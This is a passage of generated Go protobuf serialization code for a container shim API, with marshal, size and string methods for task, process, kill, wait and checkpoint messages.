i int 1240 | _ = i 1241 | var l int 1242 | _ = l 1243 | if len(m.ID) > 0 { 1244 | dAtA[i] = 0xa 1245 | i++ 1246 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1247 | i += copy(dAtA[i:], m.ID) 1248 | } 1249 | if m.Width != 0 { 1250 | dAtA[i] = 0x10 1251 | i++ 1252 | i = encodeVarintShim(dAtA, i, uint64(m.Width)) 1253 | } 1254 | if m.Height != 0 { 1255 | dAtA[i] = 0x18 1256 | i++ 1257 | i = encodeVarintShim(dAtA, i, uint64(m.Height)) 1258 | } 1259 | if m.XXX_unrecognized != nil { 1260 | i += copy(dAtA[i:], m.XXX_unrecognized) 1261 | } 1262 | return i, nil 1263 | } 1264 | 1265 | func (m *StateRequest) Marshal() (dAtA []byte, err error) { 1266 | size := m.Size() 1267 | dAtA = make([]byte, size) 1268 | n, err := m.MarshalTo(dAtA) 1269 | if err != nil { 1270 | return nil, err 1271 | } 1272 | return dAtA[:n], nil 1273 | } 1274 | 1275 | func (m *StateRequest) MarshalTo(dAtA []byte) (int, error) { 1276 | var i int 1277 | _ = i 1278 | var l int 1279 | _ = l 1280 | if len(m.ID) > 0 { 1281 | dAtA[i] = 0xa 1282 | i++ 1283 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1284 | i += copy(dAtA[i:], m.ID) 1285 | } 1286 | if m.XXX_unrecognized != nil { 1287 | i += copy(dAtA[i:], m.XXX_unrecognized) 1288 | } 1289 | return i, nil 1290 | } 1291 | 1292 | func (m *StateResponse) Marshal() (dAtA []byte, err error) { 1293 | size := m.Size() 1294 | dAtA = make([]byte, size) 1295 | n, err := m.MarshalTo(dAtA) 1296 | if err != nil { 1297 | return nil, err 1298 | } 1299 | return dAtA[:n], nil 1300 | } 1301 | 1302 | func (m *StateResponse) MarshalTo(dAtA []byte) (int, error) { 1303 | var i int 1304 | _ = i 1305 | var l int 1306 | _ = l 1307 | if len(m.ID) > 0 { 1308 | dAtA[i] = 0xa 1309 | i++ 1310 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1311 | i += copy(dAtA[i:], m.ID) 1312 | } 1313 | if len(m.Bundle) > 0 { 1314 | dAtA[i] = 0x12 1315 | i++ 1316 | i = encodeVarintShim(dAtA, i, uint64(len(m.Bundle))) 1317 | i += copy(dAtA[i:], m.Bundle) 1318 | } 1319 | if m.Pid != 0 { 1320 | dAtA[i] = 0x18 1321 | i++ 1322 | i = encodeVarintShim(dAtA, i, uint64(m.Pid)) 1323 | } 1324 | if m.Status != 0 { 1325 | dAtA[i] = 0x20 1326 | i++ 1327 | i = encodeVarintShim(dAtA, i, uint64(m.Status)) 1328 | } 1329 | if len(m.Stdin) > 0 { 1330 | dAtA[i] = 0x2a 1331 | i++ 1332 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdin))) 1333 | i += copy(dAtA[i:], m.Stdin) 1334 | } 1335 | if len(m.Stdout) > 0 { 1336 | dAtA[i] = 0x32 1337 | i++ 1338 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdout))) 1339 | i += copy(dAtA[i:], m.Stdout) 1340 | } 1341 | if len(m.Stderr) > 0 { 1342 | dAtA[i] = 0x3a 1343 | i++ 1344 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stderr))) 1345 | i += copy(dAtA[i:], m.Stderr) 1346 | } 1347 | if m.Terminal { 1348 | dAtA[i] = 0x40 1349 | i++ 1350 | if m.Terminal { 1351 | dAtA[i] = 1 1352 | } else { 1353 | dAtA[i] = 0 1354 | } 1355 | i++ 1356 | } 1357 | if m.ExitStatus != 0 { 1358 | dAtA[i] = 0x48 1359 | i++ 1360 | i = encodeVarintShim(dAtA, i, uint64(m.ExitStatus)) 1361 | } 1362 | dAtA[i] = 0x52 1363 | i++ 1364 | i = encodeVarintShim(dAtA, i, uint64(github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt))) 1365 | n4, err := github_com_gogo_protobuf_types.StdTimeMarshalTo(m.ExitedAt, dAtA[i:]) 1366 | if err != nil { 1367 | return 0, err 1368 | } 1369 | i += n4 1370 | if m.XXX_unrecognized != nil { 1371 | i += copy(dAtA[i:], m.XXX_unrecognized) 1372 | } 1373 | return i, nil 1374 | } 1375 | 1376 | func (m *KillRequest) Marshal() (dAtA []byte, err error) { 1377 | size := m.Size() 1378 | dAtA = make([]byte, size) 1379 | n, err := m.MarshalTo(dAtA) 1380 | if err != nil { 1381 | return nil, err 1382 | } 1383 | return dAtA[:n], nil 1384 | } 1385 | 1386 | func (m *KillRequest) MarshalTo(dAtA []byte) (int, error) { 1387 | var i int 1388 | _ = i 1389 | var l int 1390 | _ = l 1391 | if len(m.ID) > 0 { 1392 | dAtA[i] = 0xa 1393 | i++ 1394 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1395 | i += copy(dAtA[i:], m.ID) 1396 | } 1397 | if m.Signal != 0 { 1398 | dAtA[i] = 0x10 1399 | i++ 1400 | i = encodeVarintShim(dAtA, i, uint64(m.Signal)) 1401 | } 1402 | if m.All { 1403 | dAtA[i] = 0x18 1404 | i++ 1405 | if m.All { 1406 | dAtA[i] = 1 1407 | } else { 1408 | dAtA[i] = 0 1409 | } 1410 | i++ 1411 | } 1412 | if m.XXX_unrecognized != nil { 1413 | i += copy(dAtA[i:], m.XXX_unrecognized) 1414 | } 1415 | return i, nil 1416 | } 1417 | 1418 | func (m *CloseIORequest) Marshal() (dAtA []byte, err error) { 1419 | size := m.Size() 1420 | dAtA = make([]byte, size) 1421 | n, err := m.MarshalTo(dAtA) 1422 | if err != nil { 1423 | return nil, err 1424 | } 1425 | return dAtA[:n], nil 1426 | } 1427 | 1428 | func (m *CloseIORequest) MarshalTo(dAtA []byte) (int, error) { 1429 | var i int 1430 | _ = i 1431 | var l int 1432 | _ = l 1433 | if len(m.ID) > 0 { 1434 | dAtA[i] = 0xa 1435 | i++ 1436 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1437 | i += copy(dAtA[i:], m.ID) 1438 | } 1439 | if m.Stdin { 1440 | dAtA[i] = 0x10 1441 | i++ 1442 | if m.Stdin { 1443 | dAtA[i] = 1 1444 | } else { 1445 | dAtA[i] = 0 1446 | } 1447 | i++ 1448 | } 1449 | if m.XXX_unrecognized != nil { 1450 | i += copy(dAtA[i:], m.XXX_unrecognized) 1451 | } 1452 | return i, nil 1453 | } 1454 | 1455 | func (m *ListPidsRequest) Marshal() (dAtA []byte, err error) { 1456 | size := m.Size() 1457 | dAtA = make([]byte, size) 1458 | n, err := m.MarshalTo(dAtA) 1459 | if err != nil { 1460 | return nil, err 1461 | } 1462 | return dAtA[:n], nil 1463 | } 1464 | 1465 | func (m *ListPidsRequest) MarshalTo(dAtA []byte) (int, error) { 1466 | var i int 1467 | _ = i 1468 | var l int 1469 | _ = l 1470 | if len(m.ID) > 0 { 1471 | dAtA[i] = 0xa 1472 | i++ 1473 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1474 | i += copy(dAtA[i:], m.ID) 1475 | } 1476 | if m.XXX_unrecognized != nil { 1477 | i += copy(dAtA[i:], m.XXX_unrecognized) 1478 | } 1479 | return i, nil 1480 | } 1481 | 1482 | func (m *ListPidsResponse) Marshal() (dAtA []byte, err error) { 1483 | size := m.Size() 1484 | dAtA = make([]byte, size) 1485 | n, err := m.MarshalTo(dAtA) 1486 | if err != nil { 1487 | return nil, err 1488 | } 1489 | return dAtA[:n], nil 1490 | } 1491 | 1492 | func (m *ListPidsResponse) MarshalTo(dAtA []byte) (int, error) { 1493 | var i int 1494 | _ = i 1495 | var l int 1496 | _ = l 1497 | if len(m.Processes) > 0 { 1498 | for _, msg := range m.Processes { 1499 | dAtA[i] = 0xa 1500 | i++ 1501 | i = encodeVarintShim(dAtA, i, uint64(msg.Size())) 1502 | n, err := msg.MarshalTo(dAtA[i:]) 1503 | if err != nil { 1504 | return 0, err 1505 | } 1506 | i += n 1507 | } 1508 | } 1509 | if m.XXX_unrecognized != nil { 1510 | i += copy(dAtA[i:], m.XXX_unrecognized) 1511 | } 1512 | return i, nil 1513 | } 1514 | 1515 | func (m *CheckpointTaskRequest) Marshal() (dAtA []byte, err error) { 1516 | size := m.Size() 1517 | dAtA = make([]byte, size) 1518 | n, err := m.MarshalTo(dAtA) 1519 | if err != nil { 1520 | return nil, err 1521 | } 1522 | return dAtA[:n], nil 1523 | } 1524 | 1525 | func (m *CheckpointTaskRequest) MarshalTo(dAtA []byte) (int, error) { 1526 | var i int 1527 | _ = i 1528 | var l int 1529 | _ = l 1530 | if len(m.Path) > 0 { 1531 | dAtA[i] = 0xa 1532 | i++ 1533 | i = encodeVarintShim(dAtA, i, uint64(len(m.Path))) 1534 | i += copy(dAtA[i:], m.Path) 1535 | } 1536 | if m.Options != nil { 1537 | dAtA[i] = 0x12 1538 | i++ 1539 | i = encodeVarintShim(dAtA, i, uint64(m.Options.Size())) 1540 | n5, err := m.Options.MarshalTo(dAtA[i:]) 1541 | if err != nil { 1542 | return 0, err 1543 | } 1544 | i += n5 1545 | } 1546 | if m.XXX_unrecognized != nil { 1547 | i += copy(dAtA[i:], m.XXX_unrecognized) 1548 | } 1549 | return i, nil 1550 | } 1551 | 1552 | func (m *ShimInfoResponse) Marshal() (dAtA []byte, err error) { 1553 | size := m.Size() 1554 | dAtA = make([]byte, size) 1555 | n, err := m.MarshalTo(dAtA) 1556 | if err != nil { 1557 | return nil, err 1558 | } 1559 | return dAtA[:n], nil 1560 | } 1561 | 1562 | func (m *ShimInfoResponse) MarshalTo(dAtA []byte) (int, error) { 1563 | var i int 1564 | _ = i 1565 | var l int 1566 | _ = l 1567 | if m.ShimPid != 0 { 1568 | dAtA[i] = 0x8 1569 | i++ 1570 | i = encodeVarintShim(dAtA, i, uint64(m.ShimPid)) 1571 | } 1572 | if m.XXX_unrecognized != nil { 1573 | i += copy(dAtA[i:], m.XXX_unrecognized) 1574 | } 1575 | return i, nil 1576 | } 1577 | 1578 | func (m *UpdateTaskRequest) Marshal() (dAtA []byte, err error) { 1579 | size := m.Size() 1580 | dAtA = make([]byte, size) 1581 | n, err := m.MarshalTo(dAtA) 1582 | if err != nil { 1583 | return nil, err 1584 | } 1585 | return dAtA[:n], nil 1586 | } 1587 | 1588 | func (m *UpdateTaskRequest) MarshalTo(dAtA []byte) (int, error) { 1589 | var i int 1590 | _ = i 1591 | var l int 1592 | _ = l 1593 | if m.Resources != nil { 1594 | dAtA[i] = 0xa 1595 | i++ 1596 | i = encodeVarintShim(dAtA, i, uint64(m.Resources.Size())) 1597 | n6, err := m.Resources.MarshalTo(dAtA[i:]) 1598 | if err != nil { 1599 | return 0, err 1600 | } 1601 | i += n6 1602 | } 1603 | if m.XXX_unrecognized != nil { 1604 | i += copy(dAtA[i:], m.XXX_unrecognized) 1605 | } 1606 | return i, nil 1607 | } 1608 | 1609 | func (m *StartRequest) Marshal() (dAtA []byte, err error) { 1610 | size := m.Size() 1611 | dAtA = make([]byte, size) 1612 | n, err := m.MarshalTo(dAtA) 1613 | if err != nil { 1614 | return nil, err 1615 | } 1616 | return dAtA[:n], nil 1617 | } 1618 | 1619 | func (m *StartRequest) MarshalTo(dAtA []byte) (int, error) { 1620 | var i int 1621 | _ = i 1622 | var l int 1623 | _ = l 1624 | if len(m.ID) > 0 { 1625 | dAtA[i] = 0xa 1626 | i++ 1627 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1628 | i += copy(dAtA[i:], m.ID) 1629 | } 1630 | if m.XXX_unrecognized != nil { 1631 | i += copy(dAtA[i:], m.XXX_unrecognized) 1632 | } 1633 | return i, nil 1634 | } 1635 | 1636 | func (m *StartResponse) Marshal() (dAtA []byte, err error) { 1637 | size := m.Size() 1638 | dAtA = make([]byte, size) 1639 | n, err := m.MarshalTo(dAtA) 1640 | if err != nil { 1641 | return nil, err 1642 | } 1643 | return dAtA[:n], nil 1644 | } 1645 | 1646 | func (m *StartResponse) MarshalTo(dAtA []byte) (int, error) { 1647 | var i int 1648 | _ = i 1649 | var l int 1650 | _ = l 1651 | if len(m.ID) > 0 { 1652 | dAtA[i] = 0xa 1653 | i++ 1654 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1655 | i += copy(dAtA[i:], m.ID) 1656 | } 1657 | if m.Pid != 0 { 1658 | dAtA[i] = 0x10 1659 | i++ 1660 | i = encodeVarintShim(dAtA, i, uint64(m.Pid)) 1661 | } 1662 | if m.XXX_unrecognized != nil { 1663 | i += copy(dAtA[i:], m.XXX_unrecognized) 1664 | } 1665 | return i, nil 1666 | } 1667 | 1668 | func (m *WaitRequest) Marshal() (dAtA []byte, err error) { 1669 | size := m.Size() 1670 | dAtA = make([]byte, size) 1671 | n, err := m.MarshalTo(dAtA) 1672 | if err != nil { 1673 | return nil, err 1674 | } 1675 | return dAtA[:n], nil 1676 | } 1677 | 1678 | func (m *WaitRequest) MarshalTo(dAtA []byte) (int, error) { 1679 | var i int 1680 | _ = i 1681 | var l int 1682 | _ = l 1683 | if len(m.ID) > 0 { 1684 | dAtA[i] = 0xa 1685 | i++ 1686 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1687 | i += copy(dAtA[i:], m.ID) 1688 | } 1689 | if m.XXX_unrecognized != nil { 1690 | i += copy(dAtA[i:], m.XXX_unrecognized) 1691 | } 1692 | return i, nil 1693 | } 1694 | 1695 | func (m *WaitResponse) Marshal() (dAtA []byte, err error) { 1696 | size := m.Size() 1697 | dAtA = make([]byte, size) 1698 | n, err := m.MarshalTo(dAtA) 1699 | if err != nil { 1700 | return nil, err 1701 | } 1702 | return dAtA[:n], nil 1703 | } 1704 | 1705 | func (m *WaitResponse) MarshalTo(dAtA []byte) (int, error) { 1706 | var i int 1707 | _ = i 1708 | var l int 1709 | _ = l 1710 | if m.ExitStatus != 0 { 1711 | dAtA[i] = 0x8 1712 | i++ 1713 | i = encodeVarintShim(dAtA, i, uint64(m.ExitStatus)) 1714 | } 1715 | dAtA[i] = 0x12 1716 | i++ 1717 | i = encodeVarintShim(dAtA, i, uint64(github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt))) 1718 | n7, err := github_com_gogo_protobuf_types.StdTimeMarshalTo(m.ExitedAt, dAtA[i:]) 1719 | if err != nil { 1720 | return 0, err 1721 | } 1722 | i += n7 1723 | if m.XXX_unrecognized != nil { 1724 | i += copy(dAtA[i:], m.XXX_unrecognized) 1725 | } 1726 | return i, nil 1727 | } 1728 | 1729 | func encodeVarintShim(dAtA []byte, offset int, v uint64) int { 1730 | for v >= 1<<7 { 1731 | dAtA[offset] = uint8(v&0x7f | 0x80) 1732 | v >>= 7 1733 | offset++ 1734 | } 1735 | dAtA[offset] = uint8(v) 1736 | return offset + 1 1737 | } 1738 | func (m *CreateTaskRequest) Size() (n int) { 1739 | if m == nil { 1740 | return 0 1741 | } 1742 | var l int 1743 | _ = l 1744 | l = len(m.ID) 1745 | if l > 0 { 1746 | n += 1 + l + sovShim(uint64(l)) 1747 | } 1748 | l = len(m.Bundle) 1749 | if l > 0 { 1750 | n += 1 + l + sovShim(uint64(l)) 1751 | } 1752 | l = len(m.Runtime) 1753 | if l > 0 { 1754 | n += 1 + l + sovShim(uint64(l)) 1755 | } 1756 | if len(m.Rootfs) > 0 { 1757 | for _, e := range m.Rootfs { 1758 | l = e.Size() 1759 | n += 1 + l + sovShim(uint64(l)) 1760 | } 1761 | } 1762 | if m.Terminal { 1763 | n += 2 1764 | } 1765 | l = len(m.Stdin) 1766 | if l > 0 { 1767 | n += 1 + l + sovShim(uint64(l)) 1768 | } 1769 | l = len(m.Stdout) 1770 | if l > 0 { 1771 | n += 1 + l + sovShim(uint64(l)) 1772 | } 1773 | l = len(m.Stderr) 1774 | if l > 0 { 1775 | n += 1 + l + sovShim(uint64(l)) 1776 | } 1777 | l = len(m.Checkpoint) 1778 | if l > 0 { 1779 | n += 1 + l + sovShim(uint64(l)) 1780 | } 1781 | l = len(m.ParentCheckpoint) 1782 | if l > 0 { 1783 | n += 1 + l + sovShim(uint64(l)) 1784 | } 1785 | if m.Options != nil { 1786 | l = m.Options.Size() 1787 | n += 1 + l + sovShim(uint64(l)) 1788 | } 1789 | if m.XXX_unrecognized != nil { 1790 | n += len(m.XXX_unrecognized) 1791 | } 1792 | return n 1793 | } 1794 | 1795 | func (m *CreateTaskResponse) Size() (n int) { 1796 | if m == nil { 1797 | return 0 1798 | } 1799 | var l int 1800 | _ = l 1801 | if m.Pid != 0 { 1802 | n += 1 + sovShim(uint64(m.Pid)) 1803 | } 1804 | if m.XXX_unrecognized != nil { 1805 | n += len(m.XXX_unrecognized) 1806 | } 1807 | return n 1808 | } 1809 | 1810 | func (m *DeleteResponse) Size() (n int) { 1811 | if m == nil { 1812 | return 0 1813 | } 1814 | var l int 1815 | _ = l 1816 | if m.Pid != 0 { 1817 | n += 1 + sovShim(uint64(m.Pid)) 1818 | } 1819 | if m.ExitStatus != 0 { 1820 | n += 1 + sovShim(uint64(m.ExitStatus)) 1821 | } 1822 | l = github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt) 1823 | n += 1 + l + sovShim(uint64(l)) 1824 | if m.XXX_unrecognized != nil { 1825 | n += len(m.XXX_unrecognized) 1826 | } 1827 | return n 1828 | } 1829 | 1830 | func (m *DeleteProcessRequest) Size() (n int) { 1831 | if m == nil { 1832 | return 0 1833 | } 1834 | var l int 1835 | _ = l 1836 | l = len(m.ID) 1837 | if l > 0 { 1838 | n += 1 + l + sovShim(uint64(l)) 1839 | } 1840 | if m.XXX_unrecognized != nil { 1841 | n += len(m.XXX_unrecognized) 1842 | } 1843 | return n 1844 | } 1845 | 1846 | func (m *ExecProcessRequest) Size() (n int) { 1847 | if m == nil { 1848 | return 0 1849 | } 1850 | var l int 1851 | _ = l 1852 | l = len(m.ID) 1853 | if l > 0 { 1854 | n += 1 + l + sovShim(uint64(l)) 1855 | } 1856 | if m.Terminal { 1857 | n += 2 1858 | } 1859 | l = len(m.Stdin) 1860 | if l > 0 { 1861 | n += 1 + l + sovShim(uint64(l)) 1862 | } 1863 | l = len(m.Stdout) 1864 | if l > 0 { 1865 | n += 1 + l + sovShim(uint64(l)) 1866 | } 1867 | l = len(m.Stderr) 1868 | if l > 0 { 1869 | n += 1 + l + sovShim(uint64(l)) 1870 | } 1871 | if m.Spec != nil { 1872 | l = m.Spec.Size() 1873 | n += 1 + l + sovShim(uint64(l)) 1874 | } 1875 | if m.XXX_unrecognized != nil { 1876 | n += len(m.XXX_unrecognized) 1877 | } 1878 | return n 1879 | } 1880 | 1881 | func (m *ExecProcessResponse) Size() (n int) { 1882 | if m == nil { 1883 | return 0 1884 | } 1885 | var l int 1886 | _ = l 1887 | if m.XXX_unrecognized != nil { 1888 | n += len(m.XXX_unrecognized) 1889 | } 1890 | return n 1891 | } 1892 | 1893 | func (m *ResizePtyRequest) Size() (n int) { 1894 | if m == nil { 1895 | return 0 1896 | } 1897 | var l int 1898 | _ = l 1899 | l = len(m.ID) 1900 | if l > 0 { 1901 | n += 1 + l + sovShim(uint64(l)) 1902 | } 1903 | if m.Width != 0 { 1904 | n += 1 + sovShim(uint64(m.Width)) 1905 | } 1906 | if m.Height != 0 { 1907 | n += 1 + sovShim(uint64(m.Height)) 1908 | } 1909 | if m.XXX_unrecognized != nil { 1910 | n += len(m.XXX_unrecognized) 1911 | } 1912 | return n 1913 | } 1914 | 1915 | func (m *StateRequest) Size() (n int) { 1916 | if m == nil { 1917 | return 0 1918 | } 1919 | var l int 1920 | _ = l 1921 | l = len(m.ID) 1922 | if l > 0 { 1923 | n += 1 + l + sovShim(uint64(l)) 1924 | } 1925 | if m.XXX_unrecognized != nil { 1926 | n += len(m.XXX_unrecognized) 1927 | } 1928 | return n 1929 | } 1930 | 1931 | func (m *StateResponse) Size() (n int) { 1932 | if m == nil { 1933 | return 0 1934 | } 1935 | var l int 1936 | _ = l 1937 | l = len(m.ID) 1938 | if l > 0 { 1939 | n += 1 + l + sovShim(uint64(l)) 1940 | } 1941 | l = len(m.Bundle) 1942 | if l > 0 { 1943 | n += 1 + l + sovShim(uint64(l)) 1944 | } 1945 | if m.Pid != 0 { 1946 | n += 1 + sovShim(uint64(m.Pid)) 1947 | } 1948 | if m.Status != 0 { 1949 | n += 1 + sovShim(uint64(m.Status)) 1950 | } 1951 | l = len(m.Stdin) 1952 | if l > 0 { 1953 | n += 1 + l + sovShim(uint64(l)) 1954 | } 1955 | l = len(m.Stdout) 1956 | if l > 0 { 1957 | n += 1 + l + sovShim(uint64(l)) 1958 | } 1959 | l = len(m.Stderr) 1960 | if l > 0 { 1961 | n += 1 + l + sovShim(uint64(l)) 1962 | } 1963 | if m.Terminal { 1964 | n += 2 1965 | } 1966 | if m.ExitStatus != 0 { 1967 | n += 1 + sovShim(uint64(m.ExitStatus)) 1968 | } 1969 | l = github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt) 1970 | n += 1 + l + sovShim(uint64(l)) 1971 | if m.XXX_unrecognized != nil { 1972 | n += len(m.XXX_unrecognized) 1973 | } 1974 | return n 1975 | } 1976 | 1977 | func (m *KillRequest) Size() (n int) { 1978 | if m == nil { 1979 | return 0 1980 | } 1981 | var l int 1982 | _ = l 1983 | l = len(m.ID) 1984 | if l > 0 { 1985 | n += 1 + l + sovShim(uint64(l)) 1986 | } 1987 | if m.Signal != 0 { 1988 | n += 1 + sovShim(uint64(m.Signal)) 1989 | } 1990 | if m.All { 1991 | n += 2 1992 | } 1993 | if m.XXX_unrecognized != nil { 1994 | n += len(m.XXX_unrecognized) 1995 | } 1996 | return n 1997 | } 1998 | 1999 | func (m *CloseIORequest) Size() (n int) { 2000 | if m == nil { 2001 | return 0 2002 | } 2003 | var l int 2004 | _ = l 2005 | l = len(m.ID) 2006 | if l > 0 { 2007 | n += 1 + l + sovShim(uint64(l)) 2008 | } 2009 | if m.Stdin { 2010 | n += 2 2011 | } 2012 | if m.XXX_unrecognized != nil { 2013 | n += len(m.XXX_unrecognized) 2014 | } 2015 | return n 2016 | } 2017 | 2018 | func (m *ListPidsRequest) Size() (n int) { 2019 | if m == nil { 2020 | return 0 2021 | } 2022 | var l int 2023 | _ = l 2024 | l = len(m.ID) 2025 | if l > 0 { 2026 | n += 1 + l + sovShim(uint64(l)) 2027 | } 2028 | if m.XXX_unrecognized != nil { 2029 | n += len(m.XXX_unrecognized) 2030 | } 2031 | return n 2032 | } 2033 | 2034 | func (m *ListPidsResponse) Size() (n int) { 2035 | if m == nil { 2036 | return 0 2037 | } 2038 | var l int 2039 | _ = l 2040 | if len(m.Processes) > 0 { 2041 | for _, e := range m.Processes { 2042 | l = e.Size() 2043 | n += 1 + l + sovShim(uint64(l)) 2044 | } 2045 | } 2046 | if m.XXX_unrecognized != nil { 2047 | n += len(m.XXX_unrecognized) 2048 | } 2049 | return n 2050 | } 2051 | 2052 | func (m *CheckpointTaskRequest) Size() (n int) { 2053 | if m == nil { 2054 | return 0 2055 | } 2056 | var l int 2057 | _ = l 2058 | l = len(m.Path) 2059 | if l > 0 { 2060 | n += 1 + l + sovShim(uint64(l)) 2061 | } 2062 | if m.Options != nil { 2063 | l = m.Options.Size() 2064 | n += 1 + l + sovShim(uint64(l)) 2065 | } 2066 | if m.XXX_unrecognized != nil { 2067 | n += len(m.XXX_unrecognized) 2068 | } 2069 | return n 2070 | } 2071 | 2072 | func (m *ShimInfoResponse) Size() (n int) { 2073 | if m == nil { 2074 | return 0 2075 | } 2076 | var l int 2077 | _ = l 2078 | if m.ShimPid != 0 { 2079 | n += 1 + sovShim(uint64(m.ShimPid)) 2080 | } 2081 | if m.XXX_unrecognized != nil { 2082 | n += len(m.XXX_unrecognized) 2083 | } 2084 | return n 2085 | } 2086 | 2087 | func (m *UpdateTaskRequest) Size() (n int) { 2088 | if m == nil { 2089 | return 0 2090 | } 2091 | var l int 2092 | _ = l 2093 | if m.Resources != nil { 2094 | l = m.Resources.Size() 2095 | n += 1 + l + sovShim(uint64(l)) 2096 | } 2097 | if m.XXX_unrecognized != nil { 2098 | n += len(m.XXX_unrecognized) 2099 | } 2100 | return n 2101 | } 2102 | 2103 | func (m *StartRequest) Size() (n int) { 2104 | if m == nil { 2105 | return 0 2106 | } 2107 | var l int 2108 | _ = l 2109 | l = len(m.ID) 2110 | if l > 0 { 2111 | n += 1 + l + sovShim(uint64(l)) 2112 | } 2113 | if m.XXX_unrecognized != nil { 2114 | n += len(m.XXX_unrecognized) 2115 | } 2116 | return n 2117 | } 2118 | 2119 | func (m *StartResponse) Size() (n int) { 2120 | if m == nil { 2121 | return 0 2122 | } 2123 | var l int 2124 | _ = l 2125 | l = len(m.ID) 2126 | if l > 0 { 2127 | n += 1 + l + sovShim(uint64(l)) 2128 | } 2129 | if m.Pid != 0 { 2130 | n += 1 + sovShim(uint64(m.Pid)) 2131 | } 2132 | if m.XXX_unrecognized != nil { 2133 | n += len(m.XXX_unrecognized) 2134 | } 2135 | return n 2136 | } 2137 | 2138 | func (m *WaitRequest) Size() (n int) { 2139 | if m == nil { 2140 | return 0 2141 | } 2142 | var l int 2143 | _ = l 2144 | l = len(m.ID) 2145 | if l > 0 { 2146 | n += 1 + l + sovShim(uint64(l)) 2147 | } 2148 | if m.XXX_unrecognized != nil { 2149 | n += len(m.XXX_unrecognized) 2150 | } 2151 | return n 2152 | } 2153 | 2154 | func (m *WaitResponse) Size() (n int) { 2155 | if m == nil { 2156 | return 0 2157 | } 2158 | var l int 2159 | _ = l 2160 | if m.ExitStatus != 0 { 2161 | n += 1 + sovShim(uint64(m.ExitStatus)) 2162 | } 2163 | l = github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt) 2164 | n += 1 + l + sovShim(uint64(l)) 2165 | if m.XXX_unrecognized != nil { 2166 | n += len(m.XXX_unrecognized) 2167 | } 2168 | return n 2169 | } 2170 | 2171 | func sovShim(x uint64) (n int) { 2172 | for { 2173 | n++ 2174 | x >>= 7 2175 | if x == 0 { 2176 | break 2177 | } 2178 | } 2179 | return n 2180 | } 2181 | func sozShim(x uint64) (n int) { 2182 | return sovShim(uint64((x << 1) ^ uint64((int64(x) >> 63)))) 2183 | } 2184 | func (this *CreateTaskRequest) String() string { 2185 | if this == nil { 2186 | return "nil" 2187 | } 2188 | s := strings.Join([]string{`&CreateTaskRequest{`, 2189 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2190 | `Bundle:` + fmt.Sprintf("%v", this.Bundle) + `,`, 2191 | `Runtime:` + fmt.Sprintf("%v", this.Runtime) + `,`, 2192 | `Rootfs:` + strings.Replace(fmt.Sprintf("%v", this.Rootfs), "Mount", "types.Mount", 1) + `,`, 2193 | `Terminal:` + fmt.Sprintf("%v", this.Terminal) + `,`, 2194 | `Stdin:` + fmt.Sprintf("%v", this.Stdin) + `,`, 2195 | `Stdout:` + fmt.Sprintf("%v", this.Stdout) + `,`, 2196 | `Stderr:` + fmt.Sprintf("%v", this.Stderr) + `,`, 2197 | `Checkpoint:` + fmt.Sprintf("%v", this.Checkpoint) + `,`, 2198 | `ParentCheckpoint:` + fmt.Sprintf("%v", this.ParentCheckpoint) + `,`, 2199 | `Options:` + strings.Replace(fmt.Sprintf("%v", this.Options), "Any", "types1.Any", 1) + `,`, 2200 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2201 | `}`, 2202 | }, "") 2203 | return s 2204 | } 2205 | func (this *CreateTaskResponse) String() string { 2206 | if this == nil { 2207 | return "nil" 2208 | } 2209 | s := strings.Join([]string{`&CreateTaskResponse{`, 2210 | `Pid:` + fmt.Sprintf("%v", this.Pid) + `,`, 2211 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2212 | `}`, 2213 | }, "") 2214 | return s 2215 | } 2216 | func (this *DeleteResponse) String() string { 2217 | if this == nil { 2218 | return "nil" 2219 | } 2220 | s := strings.Join([]string{`&DeleteResponse{`, 2221 | `Pid:` + fmt.Sprintf("%v", this.Pid) + `,`, 2222 | `ExitStatus:` + fmt.Sprintf("%v", this.ExitStatus) + `,`, 2223 | `ExitedAt:` + strings.Replace(strings.Replace(this.ExitedAt.String(), "Timestamp", "types1.Timestamp", 1), `&`, ``, 1) + `,`, 2224 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2225 | `}`, 2226 | }, "") 2227 | return s 2228 | } 2229 | func (this *DeleteProcessRequest) String() string { 2230 | if this == nil { 2231 | return "nil" 2232 | } 2233 | s := strings.Join([]string{`&DeleteProcessRequest{`, 2234 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2235 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2236 | `}`, 2237 | }, "") 2238 | return s 2239 | } 2240 | func (this *ExecProcessRequest) String() string { 2241 | if this == nil { 2242 | return "nil" 2243 | } 2244 | s := strings.Join([]string{`&ExecProcessRequest{`, 2245 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2246 | `Terminal:` + fmt.Sprintf("%v", this.Terminal) + `,`, 2247 | `Stdin:` + fmt.Sprintf("%v", this.Stdin) + `,`, 2248 | `Stdout:` + fmt.Sprintf("%v", this.Stdout) + `,`, 2249 | `Stderr:` + fmt.Sprintf("%v", this.Stderr) + `,`, 2250 | `Spec:` + strings.Replace(fmt.Sprintf("%v", this.Spec), "Any", "types1.Any", 1) + `,`, 2251 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2252 | `}`, 2253 | }, "") 2254 | return s 2255 | } 2256 | func (this *ExecProcessResponse) String() string { 2257 | if this == nil { 2258 | return "nil" 2259 | } 2260 | s := 